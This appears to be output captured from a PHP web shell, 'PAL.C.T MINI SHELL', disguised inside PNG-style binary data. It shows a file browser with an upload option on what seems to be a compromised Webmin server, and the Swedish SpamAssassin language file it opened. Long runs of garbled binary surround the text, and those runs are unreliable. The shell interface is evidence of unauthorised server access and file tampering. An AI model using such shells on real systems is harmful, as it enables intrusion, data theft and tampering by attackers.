‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/spam/lang/
upload
files >> //usr/libexec/webmin/spam/lang/sv.auto

index_title=SpamAssassin Mail-filter
index_ecmd=SpamAssassin-kommandot $1 hittades inte pÄ ditt system. Kanske Àr den inte installerad eller sÄ Àr din <a href='$2'>modulkonfiguration</a> felaktig.
index_ecmd2=SpamAssassin-kommandot $1 hittades inte pÄ ditt system.
index_econfig=Den lokala konfigurationsfilen eller katalogen $1 SpamAssassin hittades inte pÄ ditt system. Kanske Àr SpamAssassin inte installerat, eller Àr din <a href='$2'>modulkonfiguration</a> felaktig.
index_unknown=okÀnd
index_edb=Det gick inte att ansluta till SpamAssassin-konfigurationsdatabasen: $1. Kontrollera <a href='$2'>modulkonfigurationen</a> för att vara sÀker pÄ att du anvÀnder rÀtt instÀllningar.
index_version=SpamAssassin-version $1 
index_warn_usermin=SpamAssassin verkar inte vara instÀllt i din Procmail-konfigurationsfil $2 eller den globala filen $1, sÄ alla konfigurationer som görs med den hÀr modulen kommer inte att ha nÄgon effekt om inte SpamAssassin har konfigurerats globalt.
index_warn_webmin=SpamAssassin verkar inte vara instÀllt i systemets Procmail-konfigurationsfil $1, sÄ all konfiguration som görs med den hÀr modulen kommer inte att ha nÄgon effekt om inte anvÀndarna har konfigurerat den individuellt.
index_return=modulindex
index_apply=Applicera förÀndringar
index_applydesc=Klicka pÄ den hÀr knappen för att tillÀmpa den aktuella SpamAssassin-konfigurationen genom att skicka en HUP-signal till alla $1 -processer som körs.
index_cpan=Eftersom SpamAssassin Àr en Perl-modul kan du ocksÄ installera den automatiskt med Webmins modul <a href='$2'>Perl-moduler</a> för att ladda ner $1 frÄn CPAN.
index_spamassassin=Spamassassin
index_ecannot=Du fÄr inte hantera SpamAssassin-konfigurationsfilen $1 

white_title=TillÄtna och avvisade adresser
white_desc=I tabellerna pÄ denna sida kan du ange FrÄn: och till: adresser för e-post som alltid eller aldrig kategoriseras som skrÀppost. Alla andra e-postmeddelanden kommer att behandlas som normalt enligt SpamAssassins regler. Alla e-postadresser kan innehÄlla jokertecken, som *@foo.com eller *.foo.com för att matcha hela domÀner.
white_from=AvsÀndare att aldrig klassificera som skrÀppost
white_gfrom=Systemomfattande avsÀndare som aldrig klassificeras som skrÀppost
white_unfrom=Undantag för avsÀndare att aldrig klassificera som skrÀppost
white_addr=AvsÀndarens adress
white_addr2=Mottagarens adress
white_rcvd2=AvsÀndare för att aldrig klassificera som skrÀppost
white_rcvdhost=DomÀn i mottagen rubrik
white_gunfrom=Systemövergripande undantag för avsÀndare att aldrig klassificera som skrÀppost
white_black=AvsÀndare att alltid klassificera som skrÀppost
white_gblack=Systemomfattande avsÀndare för att alltid klassificera som skrÀppost
white_unblack=Undantag för avsÀndare klassificeras alltid som skrÀppost
white_gunblack=Systemövergripande undantag för avsÀndare att alltid klassificera som skrÀppost
white_to=Till: eller Cc: adresser för att tillÄta en del eller all skrÀppost
white_level=TillÄta
white_level0=En del skrÀppost
white_level1=Mer skrÀppost
white_level2=All skrÀppost
white_err=Det gick inte att spara vita och svarta listor
white_efrom='$1' Àr inte en giltig FrÄn: -adress
white_ercvd='$1' Àr inte ett giltigt domÀnnamn
white_importdesc=Detta formulÀr kan anvÀndas för att lÀgga till e-postadresser frÄn en fil (t.ex. en exporterad Outlook eller Eudora adressbok) till den tillÄtna listan.
white_import=Importera adresser frÄn fil
white_sort=Sortera tillÄtna adresser efter import?
white_importok=Importera nu
white_return=tillÄtna och nekade adresser
white_tabham=TillÄtna adresser
white_tabspam=Nekade adresser
white_tabsome=Destinationsadresser
white_tabimport=Importera adresser

score_title=SkrÀppostklassificering
score_desc=SpamAssassin tilldelar en poÀng till varje meddelande baserat pÄ dess innehÄll och rubriker. Alternativen pÄ denna sida bestÀmmer poÀngen över vilket ett meddelande betraktas som skrÀppost, och nÄgra av de metoder som den poÀngen berÀknas pÄ.
score_header=Alternativ för skrÀppostmeddelande
score_score=SpamAssassin-testresultat
score_name=Testnamn
score_points=Points
score_hits=TrÀffar över vilka ett meddelande betraktas som skrÀppost
score_rbl=Hoppa över RBL-relÀkontroll?
score_mx=Antal gÄnger att kontrollera FrÄn: adress MX
score_mxdelay=Sekunder att vÀnta mellan MX-kontroller
score_langs=SprÄk i e-post som inte anses vara potentiell skrÀppost
score_langsall=Alla sprÄk
score_langssel=Valda sprÄk ..
score_locales=TeckenuppsÀttningar i e-post som inte anses vara potentiell skrÀppost
score_localesall=Alla teckenuppsÀttningar
score_localessel=Valda teckenuppsÀttningar ..
score_auto=Vitlista poÀngfaktor
score_timeout=Sekunder att vÀnta pÄ RBL-frÄgor
score_received=Antal mottagna: rubriker att kontrollera med RBL
score_trusted=NÀtverk och vÀrdar att lita pÄ
score_describe=Testbeskrivningar för rapport
score_descr=Beskrivning
score_err=Det gick inte att spara meddelanden poÀng
score_ename='$1' Àr inte ett giltigt testnamn
score_epoints='$1' Àr inte ett giltigt antal poÀng
score_edesc=Saknas beskrivning för poÀngen '$1'
score_ehits=Det saknas eller ogiltigt antal trÀffar som ett meddelande betraktar som skrÀppost
score_eauto=Saknad eller ogiltig vitlista poÀngfaktor (mÄste vara mellan 0 och 1)
score_emx=Saknas eller ogiltigt antal gÄnger att kontrollera FrÄn: adress MX
score_emxdelay=Saknade eller ogiltiga sekunder att vÀnta mellan MX-kontroller
score_etimeout=Saknas eller ogiltiga sekunder för att vÀnta pÄ RBL-frÄgor
score_ereceived=Saknat eller ogiltigt antal mottagna: rubriker för att kontrollera med RBL
score_bayes=AnvÀnd Bayesian lÀrande klassificerare?

report_title=MeddelandeÀndring
report_desc=Alternativen pÄ denna sida styr Àndringarna som SpamAssassin gör till rubrikerna och kroppen för alla meddelanden som den analyserar, och Àndringar som de gör till de som klassificeras som skrÀppost.
report_header=Alternativ och modifieringsalternativ för skrÀppostmeddelanden
report_report=Rapport bifogad meddelanden som överskrider skrÀpposttröskeln
report_clear=AnvÀnd bara texten nedan. ..
report_noclear=LĂ€gg till text nedan i standardmeddelandet ..
report_terse=Rapporten bifogas skrÀppostmeddelanden i terse-lÀge
report_rsubject=Förbered text till Àmne: rubrik
report_rfrom=Förbered text till FrÄn: rubrik
report_rto=Förbered text till To: header
report_leave=LÀmna oförÀndrat
report_rewrite=Ändra Ă€mne: skrĂ€pposthuvud?
report_subject=Text som ska bero pĂ„ skrĂ€ppost Ämne: rubrik
report_rheader=LÀgga rapporten i X-Spam-Status: header istÀllet för body?
report_useterse=Bara generera terse rapport?
report_fold=Dela X-Spam-status: rubrik över flera rader?
report_safe=LĂ€gg originalmeddelandet i bilagan?
report_safe2=Ja, som vanlig text
report_detail=Inkludera information om skrÀppostfraser?
report_stars=Inkludera X-Spam-level: header?
report_char=X-Spam-nivÄ: rubrikkaraktÀr
report_defang=Vill du Àndra MIME-skrÀppost till text/vanlig?
report_err=Det gick inte att spara alternativ för skrÀppostrapporter
report_echar=Ett enda tecken mÄste anges för X-Spam-Level: header
report_adds=Ytterligare rubriker att lÀgga till
report_addfor=Meddelandetyp
report_addheader=Rubrik
report_addtext=Text för rubrik
report_addspam=spam
report_addham=Skinka
report_addall=Allt
report_eaddheader=Saknar eller ogiltig ytterligare rubrik för att lÀgga till $1 

user_title=Diverse anvÀndaralternativ
user_desc=Alternativen pÄ denna sida Àr mest relaterade till sökvÀgarna och instÀllningarna som SpamAssassin anvÀnder för de externa skrÀppostidentifieringspaketen Razor, DCC och Pyzor. Du kan ocksÄ berÀtta för SpamAssassin om den kan utföra DNS-sökningar eller inte.
user_header=Diverse alternativ pÄ anvÀndarnivÄ
user_dns=Kan SpamAssassin göra DNS-uppslag?
user_dnslist=Testa genom att kontrollera servrar
user_dnstest=Testa
user_razor=Razor begÀr timeout i sekunder
user_dcc=Plats för DCC-klientprogram
user_inpath=I PATH
user_bodymax=DCC-kroppens kontrollsumma före matchen
user_fuz1max=DCC fuz1 kontrollsumma före match
user_fuz2max=DCC fuz2 kontrollsumma före match
user_timeout=DCC begÀr timeout i sekunder
user_dheader=LĂ€gg till DCC-rubrik i meddelanden?
user_pyzor=Plats för Pyzor-klientprogram
user_pbodymax=Pyzor-kropps kontrollsumma före match
user_ptimeout=Pyzor begÀr timeout i sekunder
user_pheader=LĂ€gg till Pyzor-rubrik i meddelanden?
user_err=Det gick inte att spara anvÀndaralternativ
user_etimeout='$1' Àr inte en giltig timeout
user_epath='$1' Àr inte en giltig klientprogramvÀg
user_emax='$1' Àr inte ett giltigt kontrollsumman

header_title=Test för huvud och kropp
header_desc=PÄ den hÀr sidan kan du definiera ytterligare tester som SpamAssassin kommer att tillÀmpa pÄ e-post, baserat pÄ meddelandeshuvud, kroppsinnehÄll, webbadresser som finns i kroppen eller kombinationer av andra tester. Namnet som tilldelas varje test Àr upp till dig, men Àr vanligtvis nÄgot som CONTAINS_FOO. Den verkliga poÀngen som SpamAssassin lÀgger till meddelanden som matchar ett test kan stÀllas in genom att ange dina egna eller inbyggda testnamn i tabellerna lÀngst ner pÄ sidan.
header_switch=Byt till enkelt lÀge ..
header_header=Ytterligare topp- och kroppstest
header_allow=TillÄta anvÀndare att definiera test?
header_test=Header-tester
header_tname=Testnamn
header_name=För rubrik
header_op=Kolla om
header_op0=TĂ€ndstickor ..
header_op1=StÀmmer inte. ..
header_op2=Existerar
header_op3=UtvÀrdera ..
header_pat=Regelbunden utgÄng
header_default=StandardvÀrde
header_uri=E-postadresstest
header_body=Kroppstest
header_mode=Kroppsdel
header_mode0=Oformatterad text
header_mode1=All text
header_mode2=RĂ„ text
header_mode3=Hela posten
header_meta=Test baserade pÄ andra
header_bool=Booleskt testuttryck
header_err=Det gick inte att spara tester
header_ename='$1' Àr inte ett giltigt testnamn
header_eclash=Testnamnet '$1' visas mer Àn en gÄng
header_eregexp2=Uttrycket saknas för testet '$1'
header_eflags='$1' Àr inte giltiga flaggor för reguljÀra uttryck
header_eeval='$1' Àr inte en giltig utvÀrderingsfunktion
header_eheader='$1' Àr inte en giltig e-posthuvud
header_eregexp='$1' Àr inte ett giltigt reguljÀrt uttryck (mÄste vara som / expression /)
header_emeta=Testuttrycket saknas för testet '$1'

priv_title=Diverse privilegierade alternativ
priv_desc=Alternativen pÄ detta kan endast stÀllas in globalt, snarare Àn i enskilda anvÀndares konfigurationsfiler. De styr med banor till olika konfigurations- och loggfiler.
priv_header=InstÀllningar för olika privilegier
priv_white=Automatisk filvÀg för vitlista
priv_mode=Vitlista octal fillÀge
priv_dcc=DCC-kommandotargument
priv_log=Tid för loggfiler
priv_razor=Razor konfigurationsfil sökvÀg
priv_phrases=Spamindikatorfraser
priv_phrase=TvÄ ord fras
priv_score=Göra
priv_highest=Högsta fraspoÀng
priv_err=Det gick inte att spara privilegierade alternativ
priv_epath='$1' Àr inte en giltig sökvÀg
priv_emode='$1' Àr inte ett 4-siffrigt oktalt fillÀge
priv_eargs='$1' Àr inte en giltig lista med argument
priv_emscore='$1' Àr inte en giltig högsta fraspoÀng
priv_ephrase='$1' Àr inte en giltig tvÄ-ordspamfras
priv_escore=Saknad eller ogiltig poÀng för skrÀppostfras "$1"

usually=Vanligtvis $1 
ecannot=Du fÄr inte anvÀnda den hÀr sidan
setup_title=Installera Procmail för SpamAssassin
setup_desc_webmin=Detta formulÀr kan anvÀndas för att konfigurera Procmail i $1 för att köra SpamAssassin pÄ alla e-postmeddelanden som mottagits av ditt system. Detta kommer dock endast att ha nÄgon effekt om din e-postserver har konfigurerats för att anvÀnda Procmail för lokal leverans, eller för anvÀndare vars <tt>. FramÄt</tt> -filer Àr instÀllda för att köra Procmail.
setup_desc_usermin=Detta formulÀr kan anvÀndas för att konfigurera Procmail i $1 för att köra SpamAssassin pÄ alla e-postmeddelanden som skickas till ditt konto. Detta kommer emellertid bara att ha nÄgon effekt om e-postservern har konfigurerats för att anvÀnda Procmail för lokal leverans, eller om dina <tt>. FramÄt</tt> -filer Àr instÀllda för att mata all e-post till Procmail.
setup_head=Alla meddelanden som behandlas av SpamAssassin har <tt>X-Spam</tt> rubrikerna instÀllda, sÄ att de kan filtreras ytterligare av e-postklienter.
setup_rel=Alla icke-absoluta e-postfiler eller katalogvÀgar som anges ovan kommer att vara relativt hemkatalogen för den anvÀndare som fÄr e-post.
setup_home=Variabeln <tt>$ HOME</tt> kan anvÀndas i banorna ovan, som kommer att ersÀttas med hemkatalogen för den anvÀndare som fÄr e-post.
setup_to=ÅtgĂ€rd för meddelanden klassificerade som skrĂ€ppost
setup_null=Kasta ivÀg
setup_default=Leverera normalt
setup_file=LĂ€gg till mbox-format e-postfil ..
setup_maildir=LĂ€gg till Qmail-postkatalogen ..
setup_mhdir=LĂ€gg till MH-postkatalogen ..
setup_drop=Kör SpamAssassin och skriv till fil som
setup_drop1=Mottagare Unix-anvÀndare
setup_drop0=<tt>root</tt> anvÀndare
setup_ok=Installera Procmail för SpamAssassin
setup_email=Vidarebefordra till e-postadress

setup_err=Det gick inte att konfigurera SpamAssassin
setup_efile=Saknad eller ogiltig fil i mboxformat
setup_emaildir=Saknad eller ogiltig Qmail-postkatalog
setup_emhdir=MH-postkatalog saknas eller ogiltig
setup_eemail=Saknad eller ogiltig e-postadress

log_white=Modifierade tillÄtna och nekade adresser
log_score=Modifierad skrÀppostklassificering
log_report=Modifierat meddelande modifiering
log_user=Ändrade diverse anvĂ€ndaralternativ
log_header=Ändrade sidhuvud- och kroppstester
log_priv=Modifierade diverse privilegierade alternativ
log_setup=Installera Procmail för SpamAssassin
log_procmail=Ändrad Procmail-konfiguration
log_import=Importerade $1 tillÄtna adresser
log_manual=Manuell redigerad konfigurationsfil

import_title=Importera adresser
import_err=Det gick inte att importera adresser
import_efile=Ingen fil att importera frÄn vald
import_enone=Inga e-postadresser hittades i filen
import_ok1=$2 e-postadresser hittades i filen, varav $1 var nya och har lagts till i listan med tilldelade adresser.
import_ok2=$1 e-postadresser hittades i filen, men alla fanns redan i listan över tillÄtna adresser.

mail_title=SkrÀppost
mail_desc=Den hÀr sidan visar meddelanden som har klassificerats som skrÀppost och vÀntar pÄ nÄgra ÄtgÀrder. Meddelanden som har felaktigt identifierats kan flyttas till din inkorg, medan de som verkligen Àr skrÀppost kan raderas.
mail_level=Göra
mail_level2=SkrÀppost
mail_inbox=Flytta till inkorg
mail_whitelist2=TillÄt avsÀndare och inkorg
mail_razor=Rapportera som skrÀppost och radera
mail_ham=Rapportera som Ham & Inbox
mail_delete=Radera
mail_return=skrÀppostlista
mail_pos=SkrÀppostmeddelanden $1 till $2 av $3 
mail_none=Det finns inga meddelanden i din skrÀppostmapp
mail_refresh=Uppdatera
mail_will=Automatisk uppdatering pÄ $1 minuter
mail_wills=Automatisk uppdatering pÄ $1 sekunder
mail_delall=Radera allt skrÀppost
mail_search3=Sök efter poÀng ovan:

process_eclean=Ett fel uppstod nÀr SpamAssassin-rubrikerna togs bort frÄn det hÀr e-postmeddelandet
process_ereport=Det gick inte att rapportera e-post till SpamAssassin : $1 

apply_err=Det gick inte att tillÀmpa Àndringar
apply_none=Inga SpamAssassin daemon-processer hittades!

acl_avail=Ikoner tillgÀngliga för anvÀndaren
acl_file=SpamAssassin-konfigurationsfil som ska redigeras
acl_filedef=Global konfigurationsfil
acl_awl=TillÄtna anvÀndare för automatisk vitlistning
acl_awl0=Alla anvÀndare
acl_awl1=Endast listade anvÀndare $1 
acl_awl2=Endast medlemmar i grupper $1 

search_escore=Saknad eller ogiltig skrÀppost
search_results5=$1 e-postmeddelanden med skrÀppost pÄ eller över $2 ..

razor_title=InstÀllning Razor Spam Detector
razor_desc=Vipul's Razor Àr ett samarbetssystem för skrÀppostdetektering och rapportering som kan förbÀttra klassificeringen av skrÀppost som skickas till din adress. Innan det kan anvÀndas mÄste du dock registrera dig för ett Razor-konto med hjÀlp av formulÀret nedan.
razor_user=Razor-anvÀndarnamn
razor_pass=Razor lösenord
razor_auto=VĂ€lj automatiskt
razor_enter=Gick in i
razor_ok=Installera nu
razor_ecmd=Razor-instÀllningskommandot $1 hittades inte pÄ ditt system, vilket indikerar att Razor inte Àr installerat.
razor_err=Det gick inte att konfigurera Razor
razor_euser=Saknas anvÀndarnamn
razor_epass=Lösenordet saknas
razor_doing=Försöker nu registrera och stÀlla in Razor ..
razor_done=.. Gjort.
razor_failed=.. misslyckades! Se felutmatningen ovan för anledningen.

amavisd_title=Amavisd Spam Delivery
amavisd_desc=FormulÀret kan anvÀndas för att Àndra Amavisd-konfigurationen som avgör vad som hÀnder med meddelanden klassificerade som skrÀppost.
amavis_ok=Ändra leverans av Amavisd
amavis_tab_config=Amavisd-konfiguration
amavis_tab_quarantine=SkrÀppostkvarantin
amavis_warn=Om du anvÀnder Amavisd för skrÀppostfiltrering ignoreras vissa alternativ.
amavis_econfig=Amavisd-konfigurationsfilen $1 hittades inte pÄ ditt system. Kanske Àr Amavisd inte installerat, eller din <a href='$2'>modulkonfiguration</a> Àr felaktig.
amavis_hits=TrÀffar över vilka ett meddelande betraktas som skrÀppost.
amavis_ehit=TrÀffar som ett meddelande betraktar som skrÀppost Àr inte ett vÀrde!
amavis_ekill=TrÀffar över vilka ett skrÀppost meddelas i karantÀn Àr inte ett vÀrde!
amavis_edsn=TrÀffar över vilka ingen anmÀlan skickas till avsÀndaren Àr inte ett vÀrde!
amavis_ecut=TrÀffar över vilka ett skrÀppost raderas Àr inte ett vÀrde!
amavis_eheader=VĂ€rde för Ändra Ă€mne: rubriken Ă€r inte ett vĂ€rde!
amavis_esize=VÀrdet för storlek över hÀxan ett meddelande Àr inte kontrollerat för skrÀppost Àr inte ett vÀrde!
amavis_echar=Ett enda tecken mÄste anges för X-Spam-Level: header
amavis_esubject=VÀrde för Förbereda text till Àmne: rubriken Àr inte ett vÀrde!
amavis_elocal=VÀrde för inaktivera internetkÀllor Àr inte ett vÀrde!
amavis_quarantine_level=Treffar över vilka ett skrÀppost meddelas i karantÀn.
amavis_dsn_level=TrÀffar över vilka ingen avisering skickas till avsÀndaren.
amavis_delete_level=Treffar över vilka ett skrÀppostmeddelande raderas.
amavis_report_header=Infoga X-Spam-Header i skrÀppostmeddelandet?
amavis_level_char=KaraktÀr som anvÀnds för att visa skrÀppostnivÄ i X-skrÀppostnivÄ: rubrik.
amavis_rewrite=Ändra Ă€mne: skrĂ€pposthuvud?
amavis_rsubject=Förbered text till Àmne: rubrik
amavis_size_limit=Meddelandestorleken i byte ovanför ett meddelande Àr inte kontrollerat för skrÀppost.
amavis_local_only=Inaktivera internetkÀllor för skrÀppostkontroll?
amavis_quarantine_desc=Visa var skrÀppost karanteras av Amavisd, visa ocksÄ skrÀppoststatistik om lokal karantÀn Àr aktiverad. Om karantÀn Àr inaktiverad eller vidarebefordras till en e-postadress, kan inte skrÀppoststatistik visas.
amavis_quarantine_off=SpamkarantĂ€n Ă€r inaktiverat pĂ„ ditt system. Ändra <tt>spam_Quarantine_to</tt> till <tt>spam-karantĂ€n</tt> i filen <tt>$1</tt> för att aktivera Quaratine.
amavis_nostat=Det Àr inte möjligt att visa skrÀppoststatistik.
amavis_spam_admin=E-postadress dÀr meddelanden skickas frÄn (skrÀppostadministratör)
amavis_quarantine_mail=Spam i karantÀn vidarebefordras till e-postadress
amavis_quarantine_bsmtp=Spam Àr i karantÀn i BSMTP-format pÄ det lokala filsystemet som
amavis_quarantine_local=SkrÀppost Àr i karantÀn i MBOX-format pÄ det lokala filsystemet som
amavis_quarantine_today=SkrÀppost i karantÀn idag (24 timmar)
amavis_quarantine_week=SkrÀppostmeddelanden i karantÀn den hÀr veckan (7 dagar)
amavis_quarantine_month=SkrÀppostmeddelanden i karantÀn den hÀr mÄnaden (30 dagar)
amavis_quarantine_total=Totalt antal skrÀppost i karantÀn

procmail_title=Procmail-skrÀppostleverans
procmail_ok=Ändra Procmail-leverans
procmail_desc=FormulÀret kan anvÀndas för att Àndra Procmail-konfigurationen som avgör vad som hÀnder med meddelanden som klassificeras som skrÀppost.

simple_title=Test för huvud och kropp
simple_desc=PÄ den hÀr sidan kan du definiera ytterligare tester som SpamAssassin kommer att tillÀmpa pÄ e-post, baserat pÄ meddelandeshuvud, kroppsinnehÄll, webbadresser som finns i kroppen. Namnet som tilldelas varje test Àr upp till dig, men Àr vanligtvis nÄgot som CONTAINS_FOO.
simple_switch=Byt till avancerat lÀge ..
simple_header=Meddelandetester som ska tillÀmpas
simple_name=Testnamn
simple_for=Kolla upp
simple_regexp=Matcha uttryck
simple_score=Betyg som ska tillÀmpas
simple_describe=Beskrivning
simple_err=Det gick inte att spara meddelandetester

before_ecmd=Före-spara kommandot misslyckades : $1 
after_ecmd=Efter-sparande-kommando misslyckades : $1 

connect_emysql=Det gick inte att ladda databasdrivrutinen $1 
connect_elogin=Det gick inte att logga in pÄ databasen $1:$2.
connect_equery=Databasen $1 innehÄller inte instÀllningstabellen $2 
connect_eldapmod=Perl-modul $1 som behövs för att kommunicera med LDAP Àr inte installerad eller inte laddbar
connect_eldap=Det gick inte att ansluta till LDAP-servern $1 pÄ port $2 
connect_eldaplogin=Det gick inte att logga in pÄ LDAP-servern $1 som $2 : $3 
connect_ebase=LDAP-bas DN $1 Àr inte giltig : $2 

eldap=LDAP-operationen misslyckades : $1 
esql=SQL misslyckades : $1 
ldap_euser=Det gick inte att hitta LDAP-anvÀndarobjekt för $1 

db_title=SQL- och LDAP-databaser
db_header=Alternativ för konfigurationslagringsdatabas
db_dsn=Lagra anvÀndarkonfigurationer i
db_mode0=Konfigurationsfiler
db_mode1=SQL-databas
db_mode3=LDAP-databas
db_mode4=Andra DSN
db_user=SQL-databasens anvÀndarnamn
db_pass=SQL-databaslösenord
db_luser=LDAP-serverns anvÀndarnamn
db_lpass=LDAP-serverlösenord
db_dbdriver=Databastyp
db_dbhost=Databasserverns vÀrdnamn
db_dbdb=Databas namn
db_dbport=Portnummer
db_err=Det gick inte att spara databaser
db_edbhost=SQL-vÀrdnamn saknas eller ogiltigt
db_edbdb=Saknas eller ogiltigt ser databasnamn
db_edbport=Saknat eller ogiltigt SQL-serverportnummer
db_edsn=Saknar andra DSN
db_eusername=Saknat eller ogiltigt databasanvÀndarnamn - inga mellanrum Àr tillÄtna
db_ldaphost=LDAP-serverns vÀrdnamn
db_ldapport=Portnummer
db_ldapdn=Base DN för anvÀndare
db_ldapattr=Attribut för SpamAssassin-instÀllningar
db_ldapscope=Sökdjup
db_ldapsub=Hela undertexten
db_ldapone=En nivÄ
db_ldapbase=Endast bas
db_ldapuid=Attribut för anvÀndarnamn
db_eldaphost=Saknad eller ogiltig LDAP-serverns vÀrdnamn
db_eldapport=Saknat eller ogiltigt LDAP-serverportnummer
db_eldapdn=DN-saknad eller ogiltig bas - inga utrymmen Àr tillÄtna
db_eldapattr=SpamAssassin-attribut saknas eller ogiltigt
db_eldapuid=Saknat eller ogiltigt anvÀndarnamnattribut

awl_title=Hantera automatisk vitlistor
awl_search=Sök i vitlista efter:
awl_ok=Sök
awl_searching=Visar poster med automatisk vitlista som matchar $1 ..
awl_email=E-postadress
awl_ip=AvsÀndarens IP eller nÀtverk
awl_count=Mottagna meddelanden
awl_score=Betyg som ska tillÀmpas
awl_none=Ingen
awl_unknown=OkÀnd
awl_delete=Ta bort valda poster
awl_white=TillÄt permanent
awl_black=Förneka permanent
awl_cannot=Usermin kunde inte öppna din automatisk vitlista-fil <tt>$1</tt>, kanske för att den Àr i ett icke-stött format.
awl_empty=Din automatisk vitlista-fil <tt>$1</tt> innehÄller inga poster. Det kommer att fyllas i av SpamAssassin nÀr e-post behandlas av systemet.
awl_user=Visa automatisk vitlista för anvÀndare:
awl_uok=Visa
awl_nofile=AnvÀndaren $1 har inte en automatisk vitlista-fil.
awl_nouser=AnvÀndaren $1 finns inte.
awl_cannotuser=Du fÄr inte redigera den automatiska vitlistan för anvÀndare $1.
awl_toomany=Det finns $1 -poster i den automatiska vitlistan, men högst $2 kan visas. AnvÀnd sökformulÀret ovan för att begrÀnsa de som visas.
awl_deleteone=Rensa automatisk vitlista
awl_deleteonedesc=Ta bort alla poster med automatisk vitlista för anvÀndaren $1.
awl_deleteall=Rensa alla auto-vitlistor
awl_deletealldesc=Ta bort alla poster med automatisk vitlista för alla anvÀndare pÄ systemet.

dawl_err=Det gick inte att ta bort frÄn automatisk vitlista
dawl_eopen=Det gick inte att öppna vitlistan
dawl_enone=Inga adresser att radera valda
dawl_ecannot=Du fÄr inte hantera den automatiska vitlistan för den hÀr anvÀndaren
dawl_doing=Radera auto-vitlistor för alla anvÀndare ..
dawl_done=.. raderade $2 poster frÄn $1 anvÀndare.
dawl_title=Radera alla auto-vitlistor

manual_title=Redigera konfigurationsfiler
manual_file=Redigera konfigurationsfil:
manual_ok=OK
manual_efile=Ogiltig konfigurationsfil!
manual_err=Det gick inte att spara konfigurationsfilen
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚